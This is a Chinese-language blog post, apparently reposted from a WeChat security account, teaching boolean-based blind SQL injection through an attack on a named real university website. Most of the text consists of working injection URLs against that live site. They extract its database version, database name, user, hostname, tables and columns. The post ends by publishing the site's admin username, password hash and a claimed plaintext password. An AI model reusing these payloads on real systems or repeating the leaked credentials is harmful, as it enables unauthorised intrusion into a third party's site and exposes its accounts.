什麼是盲注 [sqli blind]?javascript
盲注一般都是專門爲了對付目標頁面錯誤處理的比較好的這種狀況,也就是說,有時即便目標存在注入,由於在頁面上沒有任何回顯,此時再想利用常規的union曝數據字段可能就不大現實了,因而後來就被人發現了盲注這種技巧,關於盲注的經常使用類型,主要有三種,基於時間,布爾,錯誤[實際遇到的很是少]的盲注,不過咱們今天暫時只針對布爾型盲注作詳細說明,關於其它的技巧,後續還會再單獨說明,其實,也算不上什麼很高級的技巧,都是一些很基礎的堆砌,廢話很少說,最好的辦法仍是直接經過實戰來透徹理解盲注php
這次用於實戰演示的布爾型盲注點,以下,頁面正常狀況下是這個樣子的java
https://www.vgu.ac.in/photo-gallery.php?id=1
仍是先簡單的判斷下目標是否真的存在注入,當我嘗試用 ‘\’干擾時,發現數據庫已經報錯了mysql
https://www.vgu.ac.in/photo-gallery.php?id=1\
既然報錯,就差很少說明,這已是個注入點了,下面只須要想辦法把它的sql語句成功閉合掉便可,也許在這裏一眼看去,極可能覺得它就是個普通的數字型注入點,其實,它是個字符型注入,這一點在實戰中必定要注意,有時候發現數字閉合成功,要立刻想到它也多是個字符型的,由於這個數字到後端極可能是被當成一個字符串來處理的,以下,當咱們條件爲真時,頁面返回正常nginx
https://www.vgu.ac.in/photo-gallery.php?id=1' and 12=12 and 'sec'='sec
當咱們的條件爲假時,頁面返回異常,這也說明咱們的閉合沒有問題,既然沒有問題,咱們就能夠開始查各類數據了web
https://www.vgu.ac.in/photo-gallery.php?id=1' and 12=121 and 'sec'='sec
仍是嚴格按照以前的流程,只不過此次查數據的方式,可能稍微不那麼直觀了sql
查詢數據庫版本,你們可能也看到了,盲注的本質,其實就是逐個字符的截取判斷,像這種重複性的操做,若是純手工來的話,估計得累死,仍是老辦法,咱們直接拿burpsuite跑一下就行了,根據經驗,像版本號通常都不會太長,20個足矣,經常使用的ascii碼值,通常也都會在32-127之間,下面只是跑第一位字符,後面你還能夠接着把第二位,第三位……字符都按一樣的方法跑出來,像這些基礎函數在前面都已經詳細說明過了,實在不明白能夠去看那個shell
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select version()),1,1))=53) and 'sec'='sec
咱們發現,數字跑到53時拋出響應了異常,說明版本號第一位字符的ascii碼值爲53,其對應的字符爲 ‘5’,篇幅緣由,我就不一一的跑了,經過逐個位遍歷,咱們最終獲得的完整版本號爲 '5.5.57-cll'數據庫
查詢當前數據庫名, 依然是一位位的截取遍歷判斷後端
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select database()),1,1))=112) and 'sec'='sec
咱們看到數據庫名的第一個字符對應的ascii碼值爲118,其對應的字符爲’v’,遍歷後的最終結果爲'vguac_web'
查詢當前數據庫用戶名
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select user()),1,1))=112) and 'sec'='sec
經過逐個位遍歷,最終獲得的數據庫用戶名爲 'vguac_webuser@localhost'
查詢目標系統平臺,遍歷可知,目標系統平臺爲 'Linux'
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select @@compile_version_os),1,1))=112) and 'sec'='sec
查詢數據存放目錄,其最終結果爲 '/var/lib/mysql/'
查詢Mysql安裝目錄, 其最終結果爲 '/usr'
查詢當前機器的機器名,最終結果爲,'dw1.dnsystemz.com',從這個機器名來看,看樣子是個虛擬機
查出全部數據庫名,沒啥好說的,仍是逐個字符進行遍歷出全部的庫名,最終查出全部的庫名分別爲
'information_schema','vguac_web'
從'vguac_web'庫中,找到管理表,經過遍歷出全部的表名,咱們發現了'login_user'疑似爲其管理表
讀出'login_user'表中的全部字段名,最終,依舊是經過遍歷,咱們獲得有效的帳號密碼字段分別爲
'username','password'
有了帳號密碼字段名,下一步直接去遍歷出字段下的全部數據便可,以下
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select username from login_user limit 0,1),1,1))=65) and 'sec'='sec
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select password from login_user limit 0,1),1,1))=65) and 'sec'='sec
最終,咱們獲得的完整的目標網站管理員帳號和密碼hash 以下,至此,基於常規布爾型的純手工盲注就差很少能夠結束了,後臺我就不找了,重要的仍是你們真正的理解,拿不拿shell暫時可有可無:
admin | 5fec4ba8376f207d1ff2f0cac0882b01 [admin!@#]
往期精彩
登錄頁面的檢測及滲透
滲透實戰篇(一)
滲透測試信息收集的方法
常見Web中間件漏洞利用及修復方法
內網滲透 | 流量轉發場景測試
Waf從入門到Bypass
實戰滲透-看我如何拿下學校的大屏幕
技術篇:bulldog水平垂直越權+命令執行+提權
滲透工具實戰技巧大合集 | 先收藏點贊再轉發一鼓作氣
感興趣的能夠點個關注!!!
本文分享自微信公衆號 - 安全先師(gh_d61f62dd440d)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。